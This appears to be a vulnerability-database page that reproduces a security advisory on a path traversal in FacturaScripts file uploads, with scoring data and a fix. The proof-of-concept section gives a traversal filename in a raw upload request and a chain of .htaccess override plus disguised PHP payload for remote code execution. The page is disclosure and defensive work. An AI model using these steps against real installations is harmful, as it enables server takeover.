CVE-2026-77526

CRITICALPre-NVD 9.99.9
EchelonGraph scoreMEDIUM confidence

“—” beside the score: it is equal to the CVSS score beside it.

Score 9.9 from GitHub Security Advisory (severity: CRITICAL) published 2026-07-14. The CNA's CVSS baseline 9.9; sources differ by 0.0.

Triggered by: GitHub Security Advisory CVSS
Sources: the CNA's CVSS, GitHub Security Advisory

Also known asGHSA-hgjx-r89m-m7v4 (GitHub Security Advisories)

9.9EG
EchelonGraph verdictPlan a fixRemediate within your standard update timelines (the SSVC decision on this page).
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: —CVSS: 9.9Exploit: None knownExposed services: Not assessed

A fixed version is listed under Patch Availability — apply it.

FacturaScripts: Path traversal in UploadedFile::move() via getClientOriginalName() — arbitrary file write outside MyFiles/ leading to RCE

Summary

FacturaScripts\Core\UploadedFile::move($destiny, $destinyName) concatenates $destiny and $destinyName without normalizing the resulting path. Every caller in the codebase passes UploadedFile::getClientOriginalName() — the unsanitized client-supplied filename — as $destinyName, so an authenticated user submitting a filename containing ../ segments can write the uploaded content to any directory writable by the web-server user, escaping the intended MyFiles/ location.

Because the shipped htaccess-sample (the documented production Apache configuration) excludes Dinamic/Assets/ and node_modules/ from the index.php rewrite, files written into those directories are served directly by Apache. Combined with .htaccess not being in BLOCKED_EXTENSIONS, the primitive escalates from arbitrary file write to remote code execution.

Vulnerable Code

Core/UploadedFile.php:

private const BLOCKED_EXTENSIONS = ['phar', 'php', 'php3', 'php4', 'php5', 'php7', 'php8', 'pht', 'phtml', 'phps'];

public function move(string $destiny, string $destinyName): bool { if (!$this->isValid()) { return false; } if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) { $destiny .= DIRECTORY_SEPARATOR; } return $this->test ? rename($this->tmp_name, $destiny . $destinyName) : move_uploaded_file($this->tmp_name, $destiny . $destinyName); }

public function getClientOriginalName(): string { return $this->name ?? ''; }

isValid() only checks the extension blocklist, the upload error code, and is_uploaded_file() — it never inspects the filename for directory separators or .. segments.

Six call sites pass the raw client filename straight into move():

  • Core/Controller/ApiUploadFiles.php:58 — POST /api/3/uploadfiles
  • Core/Controller/ApiAttachedFiles.php:136 — POST /api/3/attachedfiles
  • Core/Lib/Widget/WidgetFile.php:84 — every form using a file widget
  • Core/Lib/Widget/WidgetLibrary.php:215 — library widget upload
  • Core/Lib/ExtendedController/DocFilesTrait.php:51 — document files trait
  • Core/Controller/AdminPlugins.php:260 — plugin (zip) upload

Representative sink — Core/Controller/ApiUploadFiles.php:56-79:

private function uploadFile(UploadedFile $uploadFile): ?AttachedFile
{
    if (false === $uploadFile->isValid()) {
        return null;
    }
    $destiny = FS_FOLDER . '/MyFiles/';
    $destinyName = $uploadFile->getClientOriginalName();
    if (file_exists($destiny . $destinyName)) {
        $destinyName = mt_rand(1, 999999) . '_' . $destinyName;
    }
    if ($uploadFile->move($destiny, $destinyName)) {
        ...
    }
}

Shipped htaccess-sample (production Apache rules):

RewriteEngine On
   RewriteBase /
   RewriteCond %{REQUEST_URI} !Dinamic/Assets/ [NC]
   RewriteCond %{REQUEST_URI} !node_modules/ [NC]
   RewriteRule . index.php [L]

Apache therefore serves any file under Dinamic/Assets/ directly, bypassing index.php entirely.

PoC

Step 1 — Static reproduction of the file-write primitive

The following script replicates UploadedFile::move()'s rename() path verbatim inside a sandboxed temp directory. It does not run any payload — it only demonstrates that the destination escapes MyFiles/ when the filename contains ../.

<?php
$base = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'fs_verify_' . uniqid();
mkdir($base);
mkdir($base . '/MyFiles');
mkdir($base . '/Dinamic');
mkdir($base . '/Dinamic/Assets');

$tmp = $base . '/tmp_upload.dat'; file_put_contents($tmp, "static-verification-marker\n");

function fs_move($tmp_name, $destiny, $destinyName) { if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) { $destiny .= DIRECTORY_SEPARATOR; } return rename($tmp_name, $destiny . $destinyName); }

fs_move($tmp, $base . '/MyFiles', '../Dinamic/Assets/traversed.txt');

echo file_exists($base . '/Dinamic/Assets/traversed.txt') ? "WRITTEN OUTSIDE MyFiles\n" : "blocked\n";

Output:

WRITTEN OUTSIDE MyFiles

Step 2 — Equivalent live HTTP request

POST /api/3/uploadfiles HTTP/1.1
Host: target
Token: 
Content-Type: multipart/form-data; boundary=---X

-----X Content-Disposition: form-data; name="files[]"; filename="../Dinamic/Assets/traversed.txt" Content-Type: text/plain

static-verification-marker -----X--

After the request, Dinamic/Assets/traversed.txt exists on disk and is reachable at https://target/Dinamic/Assets/traversed.txt — Apache serves it directly because the path is excluded from the index.php rewrite.

Step 3 — Chain to code execution

Because .htaccess is not in BLOCKED_EXTENSIONS, the same primitive can write an Apache override into Dinamic/Assets/:

  • Upload with filename ../Dinamic/Assets/.htaccess and body AddType application/x-httpd-php .png
  • Upload with filename ../Dinamic/Assets/x.png containing a PHP payload (extension png is not blocked, content is not validated by isValid())
  • Request https://target/Dinamic/Assets/x.png — Apache hands it to the PHP handler per the uploaded .htaccess

Root Cause

UploadedFile::move() performs raw $destiny . $destinyName concatenation and trusts getClientOriginalName(), which returns $this->name ?? '' with no normalization. No call site applies basename() or any equivalent before passing the client filename to move(). The blocklist in BLOCKED_EXTENSIONS covers only PHP-family extensions and does not cover htaccess, which is required for the rewrite-excluded directory to be useful for code execution.

Impact

Authenticated attacker (any role with permission to call one of the six upload entry points — including any user allowed to attach a file to a record, or any API token with uploadfiles/attachedfiles access) can:

  • Write arbitrary content to any path under the application root that is writable by the web-server user, including Dinamic/Assets/ (Apache-direct-served) and node_modules/.
  • Overwrite shipped JS/CSS inside Dinamic/Assets/, injecting client-side script that executes in every administrator's browser → session takeover on next admin page load.
  • Drop a .htaccess into Dinamic/Assets/ remapping a benign extension to the PHP handler, followed by a second upload that lands an executable payload — full remote code execution as the web-server user.

The required precondition is only an authenticated session or API token with upload privileges, which is granted to a wide range of non-administrative roles in standard installations.

Fix

Minimal fix — sanitize inside UploadedFile::move() so every call site is covered automatically:

public function move(string $destiny, string $destinyName): bool
{
    if (!$this->isValid()) {
        return false;
    }
    // strip any directory component from the client-supplied filename
    $destinyName = basename($destinyName);
    if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
        $destiny .= DIRECTORY_SEPARATOR;
    }
    return $this->test ?
        rename($this->tmp_name, $destiny . $destinyName) :
        move_uploaded_file($this->tmp_name, $destiny . $destinyName);
}

Apply the same change in moveTo().

Recommended hardening in addition:

  • Add htaccess, htm, html, shtml, phtm to BLOCKED_EXTENSIONS, or replace the blocklist with an allowlist resolved per call site.
  • After concatenating the final destination, verify with realpath() that the result is still inside the intended base directory; abort otherwise.
  • Drop a Deny from all .htaccess (or equivalent web-server rule) into MyFiles/ so even successfully written files cannot be requested directly without going through the application download endpoint (which already enforces MyFilesToken).

Status

Reported privately to the maintainer via GitHub Security Advisory. Awaiting acknowledgement.

CVSS v3
9.9
EG Score
9.9CRITICALmedium confidence
EG Risk
45
EG Risk 45/100

EG Risk is EchelonGraph's 0–100 priority score. It fuses impact severity (EG Severity, the CVSS base score, never the KEV-floored or EPSS-lifted EG Score) with real-world exploitation and automatability, under weights EchelonGraph set by hand, so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner.

How it’s computed (value × EchelonGraph’s weight)
Severity99% × 45%
Impact severity (EG Severity): CVSS 9.9 of 10. Never the KEV-floored or EPSS-lifted EG Score.
Exploitation0% × 40%
No KEV listing, EG-KEV tier or EPSS when EchelonGraph scored this CVE.
Automatability0% × 15%
CISA's BOD 26-04 default: no one has published Automatable for this CVE, and CISA treats it as “no” for a CVE not in KEV.
SSVC (CISA's decision table, applied by EchelonGraph): Track at low or medium mission impact; Track* at high (mission-essential systems).
Exploitation none (no CISA value, KEV listing or exploit code on record) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). EchelonGraph holds no SSVC assessment of this CVE from CISA: none of these inputs is from Vulnrichment. EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE.
Action: A fixed version is listed under Patch Availability. Apply it within your standard update timelines.
EPSS PROB
—
EPSS %ILE
—
KEV
Not listed

What the EG score is made of (scorer v4.0: the three questions the 0–10 score mixes, published apart · methodology)

The EG score (9.9): severity, escalated by confirmed exploitation. This CVE's 9.9 is its impact severity (EG Severity), not escalated.

EG Severity
9.9 CRITICALCVSS-B, impact only: no KEV listing, EPSS or EG-KEV tier raises it.GitHub Security Advisory CVSS
EG Likelihood
Unknown (no EPSS on record)Unknown, not low: FIRST has published no EPSS probability for this CVE.
Confirmed exploitation
None on record (CISA KEV, EG-KEV Tier 1)Reported apart from the likelihood: an observed fact, not a probability.
EG Priority
SSVC Track at medium mission impactTrack at low or medium mission impact; Track* at high (mission-essential systems).CISA BOD 26-04: 14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.Each input and its source, and whom BOD 26-04 binds: the SSVC and BOD 26-04 blocks below.

SSVC (CISA's decision table, applied by EchelonGraph)Track at low or medium mission impact; Track* at high (mission-essential systems).

A fixed version is listed under Patch Availability. Apply it within your standard update timelines.

Exploitation none (no CISA value, KEV listing or exploit code on record) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). EchelonGraph holds no SSVC assessment of this CVE from CISA: none of these inputs is from Vulnrichment. EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE. Mission impact is CISA's Mission & Well-being decision point, and only you can judge it. CISA's table makes it high when Mission Prevalence is Essential — the vulnerable component "directly provides capabilities that constitute at least one MEF for at least one entity" (MEF: mission essential function) — or when Public Well-Being Impact is Irreversible: "multiple fatalities are likely", the cyber-physical system "is likely lost or destroyed", "extreme or serious externalities" are imposed on other parties, or social systems such as elections or the financial grid "are destabilized and potentially collapse". CISA's decision table

BOD 26-04 (CISA's remediation timeline, Table 1)14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.

The score's inputs: In CISA KEV no (CISA's KEV catalog) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). Where an input reads “CISA's BOD 26-04 default”, no one has published it for this CVE, and CISA's implementation guidance says: “If “Automatable” and “Technical Impact” information items about a CVE ID are not available and the CVE ID is not in the KEV Catalog, CISA will treat its values as “no” and “total,” respectively, until CISA or a third party provides metadata about the CVE ID. CISA will always provide the Vulnrichment data for a CVE ID listed in the KEV Catalog.” Whether your system is publicly exposed is yours to answer. BOD 26-04 binds US Federal Civilian Executive Branch agencies; for anyone else it is CISA's published timeline, a reference rather than an obligation. The directive · how EchelonGraph applies it

Published

July 14, 2026

Last Modified

July 14, 2026

Vendor Advisories for CVE-2026-77526(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Patch Availability(1)

Vendor / EcosystemFix (by version range) / PatchReleasedSource
composerfacturascripts/facturascripts @ 2026.3 (fixes >= 2025, <= 2026.2)—ghsa

Patches are aggregated from vendor advisories (Red Hat, Microsoft, Cisco, GitHub) and package ecosystems (OSV, GHSA). Multiple rows for the same upstream release have been deduplicated.

Weakness Classification(2)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Data Freshness Timeline

(refreshed 3× in last 7d / 3× in last 30d)

Each row is a time one of our pipelines fetched, updated or re-scored this CVE. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. An arrow marks a change the record states ("CVSS v3 → 9.1"); EPSS and GHSA rows show the values recorded at that time, not what changed (EPSS values are rounded; hover one for the exact figures). Most recent first.

  1. 2026-11-04 00:48 UTCGHSA enrichmentGHSA-hgjx-r89m-m7v4 · GitHub severity CRITICAL · GitHub CVSS 9.9
  2. 2026-11-02 23:47 UTCEG score recomputeFirst assessed: 9.9 CRITICAL
  3. 2026-11-02 23:47 UTCGHSA enrichmentGHSA-hgjx-r89m-m7v4 · GitHub severity CRITICAL · GitHub CVSS 9.9

Frequently asked(4)

What is CVE-2026-77526?
CVE-2026-77526 is a critical-severity vulnerability; its CVE record was published on July 14, 2026. FacturaScripts: Path traversal in UploadedFile::move() via getClientOriginalName() — arbitrary file write outside MyFiles/ leading to RCE Summary FacturaScripts\Core\UploadedFile::move($destiny, $destinyName) concatenates $destiny and $destinyName without normalizing the resulting path. Every…
When was the CVE record for CVE-2026-77526 published?
The CVE record for CVE-2026-77526 was published on July 14, 2026. That is the record's publication date; the vulnerability itself may have been made public earlier. EchelonGraph's copy of the record carries a last-modified date of July 14, 2026; the record at its source may have been updated since.
What is the CVSS score of CVE-2026-77526?
CVE-2026-77526 has a CVSS base score of 9.9 (the CNA's own assessment, by github_m; NVD's own analysis pending).
How do I remediate CVE-2026-77526?
A fixed version for CVE-2026-77526 is listed under Patch Availability on this page: update to the version listed for your package. The vendor advisories EchelonGraph has for CVE-2026-77526 are linked in the Vendor Advisories panel on this page.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-77526

Explore →

Is Your Infrastructure Affected by CVE-2026-77526?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.